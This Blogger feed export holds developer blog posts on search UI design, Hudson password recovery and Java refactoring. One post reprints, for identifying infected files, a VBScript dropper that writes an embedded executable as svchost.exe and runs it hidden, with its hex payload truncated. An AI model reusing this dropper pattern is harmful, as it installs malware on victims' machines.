<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7651160756792394744</id><updated>2012-01-27T14:26:23.620-08:00</updated><title type='text'>Jing Ge's Blog</title><subtitle type='html'>Finding...Thinking...Solving...</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://polygoncell.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7651160756792394744/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://polygoncell.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>JingGe</name><uri>http://www.blogger.com/profile/14421783975563206833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>6</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7651160756792394744.post-3685954046964758194</id><published>2011-03-07T07:51:00.000-08:00</published><updated>2011-03-07T14:17:53.729-08:00</updated><title type='text'>Smart Search Component</title><content type='html'>&lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;Good software has the following goals:&lt;/span&gt;&lt;/p&gt;  &lt;ol style="margin-top:0cm" start="1" type="1"&gt;  &lt;li class="MsoNormal" style="mso-list:l0 level1 lfo1;tab-stops:list 36.0pt"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;Define the correct business      process. Newbie will be told by the software how to do some job      successfully.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class="MsoNormal" style="mso-list:l0 level1 lfo1;tab-stops:list 36.0pt"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;The software should cover all      types of users. It is fine that the experts and professionals like to use      the software. But it will be great if the beginners find that the software      supports their work.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class="MsoNormal" style="mso-list:l0 level1 lfo1;tab-stops:list 36.0pt"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;With the support of the      software, the work speed must be accelerated. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class="MsoNormal" style="mso-list:l0 level1 lfo1;tab-stops:list 36.0pt"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;The software must be user      friendly.&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;  &lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;The first point depends on the business process a&lt;/span&gt;nd should be done in the business module of the software. This is beyond the topic of this document. The other points belong to the framework and will be talked here.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style="mso-bidi-font-weight:normal"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;Smart Search Component&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;A good example of solving these problems is build&lt;/span&gt;ing a powerful search engine. This search engine will provide the appropriate support for different types of users.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;Let’s use the search field as example.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;The coordinate system in figure 1 shows the relations&lt;/span&gt;hip between different search features and different user types.&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;&lt;img src="http://2.bp.blogspot.com/-WnFuAXKI9CU/TXUBHT7BSFI/AAAAAAAAANg/u8ai3XRbvGk/s320/figure1.gif" style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 224px;" border="0" alt="" id="BLOGGER_PHOTO_ID_5581368538314131538" /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;                                                                               &lt;/span&gt;Figure 1&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;The X-Axis describes the different user types, from beginner to professional. The Y-Axis describes the search features that are provided by th&lt;/span&gt;&lt;/span&gt;e search field:&lt;/p&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;  &lt;ol style="margin-top:0cm" start="1" type="1"&gt;  &lt;li class="MsoNormal" style="mso-list:l1 level1 lfo1;tab-stops:list 36.0pt"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;“Search dialog” means a search      dialog will be opened. The user can input some text for building a search criterion. This feature is the slowest search solution but very friendly      for the beginner since the beginner knows nothing about what he should      enter.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class="MsoNormal" style="mso-list:l1 level1 lfo1;tab-stops:list 36.0pt"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;“Content Assist” means some      relevant content will be shown, for example, in a popup window. User can      then select the wished content. This feature is very useful for the      intermediate user who knows something about the content but not exactly.      The content assist will help him getting the wished content quickly.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class="MsoNormal" style="mso-list:l1 level1 lfo1;tab-stops:list 36.0pt"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;“Autocompletion” means the      content will be automatically completed when enough information is      entered. This feature will be used by the professional who knows exactly      what he wants to enter and does not need any support of fussy search. This      search solution provides the fastest speed for enter information, but      force the user knowing the content exactly.&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;  &lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;As you can see, with these three different search &lt;/span&gt;features, different user types will be covered by the software. Each user type has an appropriate search feature. The same work should be done successfully by all these different types of users. The only different is that the beginner will need much more time than the professional. But while the beginner grows, he will begin to use the other search feature and his speed will be accelerated.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;This example shows us a good designed searc&lt;/span&gt;h field will solve all three points mentioned above:&lt;/p&gt;  &lt;ol style="margin-top:0cm" start="1" type="1"&gt;  &lt;li class="MsoNormal" style="mso-list:l0 level1 lfo2;tab-stops:list 36.0pt"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;With different search features for      different user types, we have covered all types of users. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class="MsoNormal" style="mso-list:l0 level1 lfo2;tab-stops:list 36.0pt"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;With the support of search      engine, the work will be accelerated. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class="MsoNormal" style="mso-list:l0 level1 lfo2;tab-stops:list 36.0pt"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;Any type of user gets an      appropriate search feature, this make the software user friendly.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: center;"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;&lt;img src="http://1.bp.blogspot.com/-MPlMddkKpHI/TXUC_x2G89I/AAAAAAAAANo/jiI8p1iFYjo/s320/image002.jpg" style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 140px;" border="0" alt="" id="BLOGGER_PHOTO_ID_5581370607930897362" /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: center;"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;autoCompletion&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;img src="http://2.bp.blogspot.com/-jRXEluIv8es/TXUDiFwugdI/AAAAAAAAANw/6Wun7iwMquM/s320/image004.jpg" style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 177px;" border="0" alt="" id="BLOGGER_PHOTO_ID_5581371197392585170" /&gt;&lt;/div&gt;&lt;p class="MsoNormal" style="text-align: center;"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;Content Assist&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: center;"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;&lt;img src="http://1.bp.blogspot.com/-hA_YLIS0n_A/TXUEGOvhXsI/AAAAAAAAAN4/P4aZ92o5_XI/s320/image006.jpg" style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 287px;" border="0" alt="" id="BLOGGER_PHOTO_ID_5581371818278739650" /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: center;"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;Dialog Search&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: center;"&gt;&lt;span lang="EN-GB" style="mso-ansi-language:EN-GB"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre name="code" class="java"&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7651160756792394744-3685954046964758194?l=polygoncell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polygoncell.blogspot.com/feeds/3685954046964758194/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7651160756792394744&amp;postID=3685954046964758194' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7651160756792394744/posts/default/3685954046964758194'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7651160756792394744/posts/default/3685954046964758194'/><link rel='alternate' type='text/html' href='http://polygoncell.blogspot.com/2011/03/smart-search-component.html' title='Smart Search Component'/><author><name>JingGe</name><uri>http://www.blogger.com/profile/14421783975563206833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-WnFuAXKI9CU/TXUBHT7BSFI/AAAAAAAAANg/u8ai3XRbvGk/s72-c/figure1.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7651160756792394744.post-6713308863110371743</id><published>2010-08-09T05:18:00.002-07:00</published><updated>2012-01-27T14:24:16.434-08:00</updated><title type='text'>Script VB Dropper malware remover only for the infected html</title><content type='html'>&lt;div&gt;We got infection of virus on pc last week. It is a new one and I found some discussions on the internet, for example this one:&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://www.bleepingcomputer.com/forums/topic336927.html"&gt;http://www.bleepingcomputer.com/forums/topic336927.html&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;but found no real solution.&lt;br /&gt;&lt;br /&gt;My colleague Dennis Sachs figured out that the avast! Pro Antivirus can deal this kind of malware. We gave it a shot and it works! Thanks Dennis! All infected exe, dll files are repaired and all infected html files were found. Then we got another problem: they can not be fixed by that program. It is Okay, I can write a Remover programm to handle it.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color:#CC0000;"&gt;&lt;b&gt;ATTENTION: this tool will ONLY handle all infected html/htm files. For fixing the infected .exe and .dll files, an antivirus program is still needed.&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;To check wether a html file is infected, you should just take a look at the bottom of the html/htm file. If you see the following code, congratulations! it is infected:&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&amp;lt;SCRIPT language="VBScript"&amp;gt;&amp;lt;! --&lt;/div&gt;&lt;div&gt;DropFileName = "svchost.exe"&lt;/div&gt;&lt;div&gt;WriteData = "4D5A90000300000004000000FFFF0000B8000000 // very long here...&lt;/div&gt;&lt;div&gt;&lt;div&gt;Set FSO = CreateObject("Scripting.FileSystemObject")&lt;/div&gt;&lt;div&gt;DropPath = FSO.GetSpecialFolder(2) &amp;amp; "\" &amp;amp; DropFileName&lt;/div&gt;&lt;div&gt;If FSO.FileExists(DropPath)=False Then&lt;/div&gt;&lt;div&gt;Set FileObj = FSO.CreateTextFile(DropPath, True)&lt;/div&gt;&lt;div&gt;For i = 1 To Len(WriteData) Step 2&lt;/div&gt;&lt;div&gt;FileObj.Write Chr(CLng("&amp;amp;H" &amp;amp; Mid(WriteData,i,2)))&lt;/div&gt;&lt;div&gt;Next&lt;/div&gt;&lt;div&gt;FileObj.Close&lt;/div&gt;&lt;div&gt;End If&lt;/div&gt;&lt;div&gt;Set WSHshell = CreateObject("WScript.Shell")&lt;/div&gt;&lt;div&gt;WSHshell.Run DropPath, 0&lt;/div&gt;&lt;div&gt;//--&amp;gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;you can use this tool to fix all infected html files.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://groups.google.com/group/formyblogger/web/VBSDropperRemover.jar"&gt;http://groups.google.com/group/formyblogger/web/VBSDropperRemover.jar&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;How to use it:&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 18px; font-family:Arial, sans-serif, Helvetica, Tahoma;"&gt;&lt;span class="Apple-style-span" style="font-size:medium;"&gt;1. java must be insalled on your computer.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 18px; font-family:Arial, sans-serif, Helvetica, Tahoma;"&gt;&lt;span class="Apple-style-span" style="font-size:medium;"&gt;2. download the &lt;/span&gt;&lt;/span&gt;&lt;a href="http://groups.google.com/group/formyblogger/web/VBSDropperRemover.jar"&gt;VBSDropperRemover.jar&lt;/a&gt; and save it to &lt;span class="Apple-style-span" style=" line-height: 18px; font-family:Arial, sans-serif, Helvetica, Tahoma;"&gt;[downloadedPath]\VBSDropperRemover.jar.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style=" line-height: 18px; font-family:Arial, sans-serif, Helvetica, Tahoma;"&gt;3. create a new directory &lt;/span&gt;&lt;span class="Apple-style-span" style=" line-height: 18px; font-family:Arial, sans-serif, Helvetica, Tahoma;"&gt;[downloadedPath]\lib.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style=" line-height: 18px; font-family:Arial, sans-serif, Helvetica, Tahoma;"&gt;4. download &lt;a href="http://groups.google.com/group/formyblogger/web/swing-layout-1.0.4.jar"&gt;http://groups.google.com/group/formyblogger/web/swing-layout-1.0.4.jar&lt;/a&gt; and &lt;a href="http://groups.google.com/group/formyblogger/web/groovy-all.jar"&gt;http://groups.google.com/group/formyblogger/web/groovy-all.jar&lt;/a&gt;. Save them to &lt;/span&gt;&lt;span class="Apple-style-span" style=" line-height: 18px; font-family:Arial, sans-serif, Helvetica, Tahoma;"&gt;[downloadedPath]\lib. Don't change the file's name.&lt;/span&gt;&lt;span class="Apple-style-span" style=" line-height: 18px; font-family:Arial, sans-serif, Helvetica, Tahoma;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 18px; font-family:Arial, sans-serif, Helvetica, Tahoma;"&gt;&lt;span class="Apple-style-span" style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 18px; font-family:Arial, sans-serif, Helvetica, Tahoma;"&gt;&lt;span class="Apple-style-span" style="font-size:medium;"&gt;Or, you can also just download &lt;a href="http://dl.dropbox.com/u/55017383/VBSDropperRemover.zip"&gt;this zip file&lt;/a&gt; and extract it to your &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style=" line-height: 18px; font-family:Arial, sans-serif, Helvetica, Tahoma;"&gt;[downloadedPath].&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style=" line-height: 18px; font-family:Arial, sans-serif, Helvetica, Tahoma;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 18px; font-family:Arial, sans-serif, Helvetica, Tahoma;"&gt;&lt;span class="Apple-style-span" style="font-size:medium;"&gt;call:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 18px; font-family:Arial, sans-serif, Helvetica, Tahoma;"&gt;&lt;span class="Apple-style-span" style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 18px; font-family:Arial, sans-serif, Helvetica, Tahoma;"&gt;&lt;span class="Apple-style-span" style="font-size:medium;"&gt;java -jar [downloadedPath]\VBSDropperRemover.jar&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 18px; font-family:Arial, sans-serif, Helvetica, Tahoma;font-size:12px;"&gt;&lt;span class="Apple-style-span" style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;a href="http://3.bp.blogspot.com/_kE1wl-BJf90/TF_4ulNvzUI/AAAAAAAAACw/VzOyZVGAu6k/s1600/VBSDropperRemover.jpg"&gt;&lt;/a&gt;&lt;a href="http://3.bp.blogspot.com/_kE1wl-BJf90/TF_4ulNvzUI/AAAAAAAAACw/VzOyZVGAu6k/s1600/VBSDropperRemover.jpg"&gt;&lt;/a&gt;&lt;a href="http://3.bp.blogspot.com/_kE1wl-BJf90/TF_4ulNvzUI/AAAAAAAAACw/VzOyZVGAu6k/s1600/VBSDropperRemover.jpg"&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;a href="http://3.bp.blogspot.com/_kE1wl-BJf90/TGOhfDYt_SI/AAAAAAAAADE/oSljCmKtEXc/s1600/VBSDropperRemover.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 248px;" src="http://3.bp.blogspot.com/_kE1wl-BJf90/TGOhfDYt_SI/AAAAAAAAADE/oSljCmKtEXc/s320/VBSDropperRemover.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5504420724433878306" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_kE1wl-BJf90/TF_4ulNvzUI/AAAAAAAAACw/VzOyZVGAu6k/s1600/VBSDropperRemover.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;br /&gt;&lt;/a&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7651160756792394744-6713308863110371743?l=polygoncell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polygoncell.blogspot.com/feeds/6713308863110371743/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7651160756792394744&amp;postID=6713308863110371743' title='19 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7651160756792394744/posts/default/6713308863110371743'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7651160756792394744/posts/default/6713308863110371743'/><link rel='alternate' type='text/html' href='http://polygoncell.blogspot.com/2010/08/i-got-infection-of-virus-on-my-pc-last_7746.html' title='Script VB Dropper malware remover only for the infected html'/><author><name>JingGe</name><uri>http://www.blogger.com/profile/14421783975563206833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_kE1wl-BJf90/TGOhfDYt_SI/AAAAAAAAADE/oSljCmKtEXc/s72-c/VBSDropperRemover.jpg' height='72' width='72'/><thr:total>19</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7651160756792394744.post-5367232150642268685</id><published>2009-02-12T04:37:00.000-08:00</published><updated>2009-03-19T00:41:23.638-07:00</updated><title type='text'>Hudson - forget password, reset password</title><content type='html'>I am avid Hudson user and have used it since it first released. It is a pretty cute CI server. I really love it and am very satisfied with using it. Thanks for saving me from the CruiseControl hell.&lt;br /&gt;&lt;br /&gt;Today, I got a problem with Hudson because I forget my password. I think Hudson can send me my password, like many portals do. But with the version 1.226 I used, this feature is just missing. It’s okay, hope it is only “not yet implemented” :-). Then I begin googling and find a dangerous solution from the Hudson dashboard: &lt;a href="http://hudson.gotdns.com/wiki/display/HUDSON/Disable+security" target="_blank"&gt;Help! I locked myself out!&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The drawback of this solution is that the Hudson is totally unprotected while the &amp;lt;useSecurity&amp;gt; is set to be false. Well, actually, if you use the “Hudson’s own user database” and “Matrix-based security” authorization setting, there are two better ways for the admin to solving this problem.&lt;br /&gt;&lt;br /&gt;The first one: edit the authorization setting in the config.xml file if you have defined more users in your Hudson and you at least one user’s password. For example, your user name called peter and you know the password of the user jack, in this case, just open the %HUDON_HOME%/config.xml and find the line:&lt;br /&gt;&lt;br /&gt; &amp;lt;permission&amp;gt;Hudson.model.Hudson.Administer:peter&amp;lt;/permission&amp;gt;&lt;br /&gt;&lt;br /&gt;And add a new line below:&lt;br /&gt;&lt;br /&gt; &amp;lt;permission&amp;gt;Hudson.model.Hudson.Administer:jack&amp;lt;/permission&amp;gt;&lt;br /&gt;&lt;br /&gt;Save your change and restart your Hudson server, then you can login as jack and change your own password. After then login using your own account and go to http://&amp;lt;your&amp;gt;/hudson/configure and change jack back to his normal authorization setting.&lt;br /&gt;&lt;br /&gt;The other way ist just editing your own config.xml, in this case, open %HUDON_HOME%/&amp;lt;your&amp;gt;/config.xml and find the line:&lt;br /&gt;&lt;br /&gt; &amp;lt;password&amp;gt;………&amp;lt;/password&amp;gt;&lt;br /&gt;&lt;br /&gt;The text between the password tag is encoded, so you can’t just enter your password as plain text here. The easy way for you now is just remove all the text between that tag, in another word, just let the password empty.&lt;br /&gt;&lt;br /&gt;Save your change and restart the Hudson sever, now you can login yourself without password. Please don’t forget to set your password. You can do it by clicking people -&amp;gt;&amp;lt;you&amp;gt; -&amp;gt; configure, or (if you are admin) Manage Hudson -&amp;gt; Manage Users -&amp;gt; then edit the appropriate user account.&lt;br /&gt;&lt;br /&gt;The second solution can also be used by the admin for reset the password of normal users.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7651160756792394744-5367232150642268685?l=polygoncell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polygoncell.blogspot.com/feeds/5367232150642268685/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7651160756792394744&amp;postID=5367232150642268685' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7651160756792394744/posts/default/5367232150642268685'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7651160756792394744/posts/default/5367232150642268685'/><link rel='alternate' type='text/html' href='http://polygoncell.blogspot.com/2009/02/hudson-forget-password-reset-password.html' title='Hudson - forget password, reset password'/><author><name>JingGe</name><uri>http://www.blogger.com/profile/14421783975563206833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7651160756792394744.post-6995176666699059274</id><published>2008-07-31T07:36:00.000-07:00</published><updated>2008-08-03T12:20:18.997-07:00</updated><title type='text'>Refactoring to Patterns: Replace Conditional With Template</title><content type='html'>As many people already met, there are always many problems in a legacy system. One of the most famous problem is the “if else hell”. This article will try to tell you how to use the refactoring and unit test for getting ride of the “if else hell”. &lt;br /&gt;&lt;br /&gt;Let’s see a legacy code example (note: even it is just an example, but it comes from a real project.&lt;br /&gt;&lt;br /&gt;&lt;pre name='code' class='java'&gt;&lt;br /&gt;package de.jingge.refactoring;&lt;br /&gt;&lt;br /&gt;public class SystemManager {&lt;br /&gt;&lt;br /&gt;    public static final int LOGGEDIN = 0;&lt;br /&gt;    public static final int LOGGEDOUT = 1;&lt;br /&gt;    public static final int IDLE = 2;&lt;br /&gt;    int state;&lt;br /&gt;&lt;br /&gt;    public void login() {&lt;br /&gt;        // call service#login()&lt;br /&gt;        updateState(LOGGEDIN);&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    public void logout() {&lt;br /&gt;        // call service#logout()&lt;br /&gt;        updateState(LOGGEDOUT);&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    public void idle() {&lt;br /&gt;        // call some other services&lt;br /&gt;        updateState(IDLE);&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    public void updateState(int state) {&lt;br /&gt;        if (state == LOGGEDIN) {&lt;br /&gt;            // do something after logging in is successful, &lt;br /&gt;            // for example: show welcome dialog, open the last edit document, etc.&lt;br /&gt;        } else if (state == LOGGEDOUT) {&lt;br /&gt;            // do something after logging out is successful, &lt;br /&gt;            // for example: free used resource, dispose GUI components, etc.&lt;br /&gt;        } else if (state == IDLE) {&lt;br /&gt;            // do something after the user is idle, &lt;br /&gt;            // for example: save the application state temporarily, lock the application, etc.&lt;br /&gt;        } else {&lt;br /&gt;            throw new IllegalArgumentException("unknown state");&lt;br /&gt;        }&lt;br /&gt;        this.state = state;&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Here we get a SystemManager, which is responsible for managing the system state, i.e. logged in, logged out, idle. As you can see, this is legacy class, which use the “int” for presenting the system state and has an “If-else hell” in the method updateState(int state). With growing number of the states we will get more pains.&lt;br /&gt;&lt;br /&gt;How can we refactoring this code and make it more object oriented?&lt;br /&gt;&lt;br /&gt;First, we should create a unit test. Since the SystemManager class was created, we are not doing here 100% TDD. But we can still hold the TDD soul. &lt;br /&gt;&lt;br /&gt;The first unit test looks like this:&lt;br /&gt;&lt;br /&gt;&lt;pre name='code' class='java'&gt;&lt;br /&gt;package de.jingge.refactoring;&lt;br /&gt;&lt;br /&gt;import org.junit.AfterClass;&lt;br /&gt;import org.junit.BeforeClass;&lt;br /&gt;import org.junit.Test;&lt;br /&gt;import static org.junit.Assert.*;&lt;br /&gt;&lt;br /&gt;public class SystemManagerTest {&lt;br /&gt;&lt;br /&gt;    private static SystemManager manager;&lt;br /&gt;&lt;br /&gt;    @BeforeClass&lt;br /&gt;    public static void setUpClass() throws Exception {&lt;br /&gt;        manager = new SystemManager();&lt;br /&gt;        // add some service mock objects&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    @AfterClass&lt;br /&gt;    public static void tearDownClass() throws Exception {&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    @Test&lt;br /&gt;    public void login() {&lt;br /&gt;        manager.login();&lt;br /&gt;        assertEquals(manager.state, SystemManager.LOGGEDIN);&lt;br /&gt;    }&lt;br /&gt;   &lt;br /&gt;    @Test&lt;br /&gt;    public void logout() {&lt;br /&gt;        manager.logout();&lt;br /&gt;        assertEquals(manager.state, SystemManager.LOGGEDOUT);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    @Test&lt;br /&gt;    public void idle() 